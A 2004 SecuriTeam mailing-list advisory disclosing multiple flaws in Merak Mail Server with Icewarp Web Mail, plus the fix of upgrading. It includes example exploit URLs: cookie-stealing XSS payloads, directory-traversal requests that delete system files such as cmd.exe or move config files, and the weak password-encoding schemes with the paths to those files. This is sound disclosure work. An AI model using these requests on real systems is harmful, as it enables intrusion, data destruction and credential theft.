[NT] Icewarp Web Mail Multiple Vulnerabilities
From: SecuriTeam (support_at_securiteam.com)
Date: 11/17/04
- Previous message: SecuriTeam: "[NT] Symantec LiveUpdate Decompression and Directory Names Vulnerabilities"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 17 Nov 2004 17:19:25 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Icewarp Web Mail Multiple Vulnerabilities
------------------------------------------------------------------------
SUMMARY
<http://www.merakmailserver.com/> Merak Mail Server is "a high
performance Windows-based secure Internet mail server software and
GroupWare Server, supporting unlimited users, unlimited domains, POP3,
SMTP, IMAP4, HTTP, LDAP, ODBC protocols, on-server virus scanning,
on-server SPAM filtering, web mail accounts and much more ..."
Several types of vulnerabilities have been found in Merak Mail Server
coupled with several vulnerabilities in Icewarp Web Mail component. The
vulnerabilities range from XSS vulnerabilities, weak password encoding
schemes to a arbitrary file manipulation on the target server.
DETAILS
Vulnerable Systems:
* Merak Mail Server 7.5.2 with Icewarp Web Mail 5.2.8
* Merak Mail Server 7.6.0 with Icewarp Web Mail 5.3.0 (vulnerabilities #3
and #4 only)
Immune Systems:
* Merak Mail Server 7.6.0 with Icewarp Web Mail 5.3.0
Multiple XSS vulnerabilities
A remote user who has an open session with the Merak Mail Server can
launch cross site scripting attacks by abusing the send.html,
attachment.html and folderitem.html pages. Possible examples:
http://localhost:32000/mail/send.html?id=[sessionid]&redirectfile=
"><scr!pt>alert(document.cookie)</scr!pt>
http://localhost:32000/mail/send.html?id=[sessionid]&Old_Folder=
"><scr!pt>alert(document.cookie)</scr!pt>
http://localhost:32000/mail/send.html?id=[sessionid]&Old_Message=
"><scr!pt>alert(document.cookie)</scr!pt>
http://localhost:32000/mail/send.html?id=[sessionid]&xwritesentcopy=
"><scr!pt>alert(document.cookie)</scr!pt>
http://localhost:32000/mail/send.html?id=[sessionid]&returnreceipt=
"><scr!pt>alert(document.cookie)</scr!pt>
http://localhost:32000/mail/send.html?id=[sessionid]&forwardfile=
"><scr!pt>alert(document.cookie)</scr!pt>
http://localhost:32000/mail/send.html?id=[sessionid]&writepriority=
"><scr!pt>alert(document.cookie)</scr!pt>
http://localhost:32000/mail/send.html?id=[sessionid]©folder=
"><scr!pt>alert(document.cookie)</scr!pt>
http://localhost:32000/mail/send.html?id=[sessionid]&messageid=
"><scr!pt>alert(document.cookie)</scr!pt>
http://localhost:32000/mail/attachment.html?id=[sessionid]&attachmentpage_text_error= <scr!pt>alert(document.cookie)</scr!pt>
http://localhost:32000/mail/attachment.html?id=[sessionid]&attachmentpage_text_title= </title><scr!pt>alert(document.cookie)</scr!pt>
http://localhost:32000/mail/folderitem.html?id=[sessionid]&folderold=
"><scr!pt>alert(document.cookie)</scr!pt> (“Outlook like”
skins are not vulnerable)
Remote arbitrary directory creation due to a directory traversal
vulnerability
A remote user with an open session can create subdirectories on the server
due to directory traversal bugs in the viewaction.html page. Example:
http://localhost:32000/mail/viewaction.html?id=[sessionid]&folder=../../../../../../../[arbitary directory]&Move_x=1&originalfolder=blabla
Note: Directories can be created on the same logical drive the system is
running from because of the directory traversal.
Weak user passwords
The password encoding schemes used by the system are weak and easily
reversible. In the users.cfg, settings.cfg files the "encryption" is a
simple XOR-based encoding while in the users.dat, user.dat files the
encoding is mere Base64 encoding. If an attacker is able to retrieve those
files, the user accounts are compromised. Vulnerable files:
[MerakDir] \config\settings.cfg
[MerakDir] \config\ [DomainName] \users.cfg
[MerakDir] \webmail\config\users.dat
[MerakDir] \webmail\users\ [DomainName] \ [UserName] \user.dat
Note: Merak Mail Server 7.6.0 with Icewarp Mail Server 5.3.0 is also
vulnerable and stores passwords in a very unsafe manner.
File creation with arbitrary content on the remote system
A remote user who has an active session on the server can create a text
file on the Merak Mail Server with arbitrary content (including special
characters). The Name of file will be accounts.dat. Combining this
vulnerability with vulnerability #7 allows an attacker to execute
arbitrary PHP code.
The vulnerable page through which this is possible is
'accountsettings_add.html'. Example:
http://localhost:32000/mail/accountsettings_add.html?id=[sessionid]&Save_x=1&account[EMAIL]=hacker
&account[HOST]=blackhat.org&account[HOSTUSER]=hacker&account[HOSTPASS]=31337
&account[HOSTPASS2]=31337&accountid=[arbitary text]
Note: Merak Mail Server 7.6.0 with Icewarp Mail Server 5.3.0 is also
vulnerable and stores passwords in a very unsafe manner.
Arbitrary files deletion on the remote system
A remote user who has a session is able to delete any file on the local
file system of the target server by exploiting the 'viewaction.html' page.
Exploitation could lead to deletion of important data or a DoS condition.
Example:
http://localhost:32000/mail/viewaction.html?id=[sessionid]
&messageid=...//...//...//...//…//…//…//winnt/system32/cmd.exe
&action=delete&originalfolder=blabla
Moving arbitrary files or directories on the remote system
A user with a session against the server can move files and directories
anywhere on the file system using a vulnerability in the
'viewaction.html'. Example:
http://localhost:32000/mail/viewaction.html?id=[sessionid]&messageid=...//...//...//...//config/settings.cfg
&Move_x=1&originalfolder=blabla&folder=../../../html/mail
Note: Since relative paths are used only one logical drive can be affected
by this vulnerability.
Renaming arbitrary files or directories on the remote system
As with previous file-related vulnerabilities, a user with a legitimate
session can rename any file or directory on the system. This is a private
case of the previous vulnerability allowing a malicious user to move files
around the local filesystem. However, this vulnerability is possible
through the 'folders.html' page. Example:
http://localhost:32000/mail/folders.html?id=[sessionid]&folderold=blabla/...//...//...//...//config/settings.cfg
&folder=blabla/...//...//...//...//config/settings.html&Save_x=1
Note: Since relative paths are used only one logical drive can be affected
by this vulnerability.
Impact
An attacker who successfully exploited vulnerabilities described in this
report could take complete control of a Merak Mail Server and an affected
remote system.
Solution
Users of this system are highly encouraged to upgrade to Merak Mail Server
7.6.0 with Icewarp Web Mail 5.3.0 or disable the Icewarp service
(control.exe).
ADDITIONAL INFORMATION
The information has been provided by <mailto:ss_contacts@hotmail.com>
ShineShadow.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[NT] Symantec LiveUpdate Decompression and Directory Names Vulnerabilities"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- [Full-disclosure] Secunia Research: IceWarp Web Mail Two File Inclusion Vulnerabilities
... Merak Mail Server version 8.3.8.r with IceWarp Web Mail 5.6.0. ... Description
of Vulnerability ... Secunia Research has discovered two vulnerabilities in IceWarp
Web ... (Full-Disclosure) - Secunia Research: IceWarp Web Mail Two File Inclusion Vulnerabilities
... Merak Mail Server version 8.3.8.r with IceWarp Web Mail 5.6.0. ... Description
of Vulnerability ... Secunia Research has discovered two vulnerabilities in IceWarp
Web ... (Bugtraq) - Multiple vulnerabilities in Icewarp Web Mail 5.3.0: New holes
... TITLE: Multiple vulnerabilities in Icewarp Web Mail 5.3.0: New holes. ...
Merak Mail Server, with the revolutionary Merak Mail Server GroupWare Server, cutting-edge Merak
Mail Server Instant Antispam and much more, is the fastest, most stable, secure and 100% virus free mail
server on the market today. ... File creation with arbitrary content on remote system.
... (Bugtraq)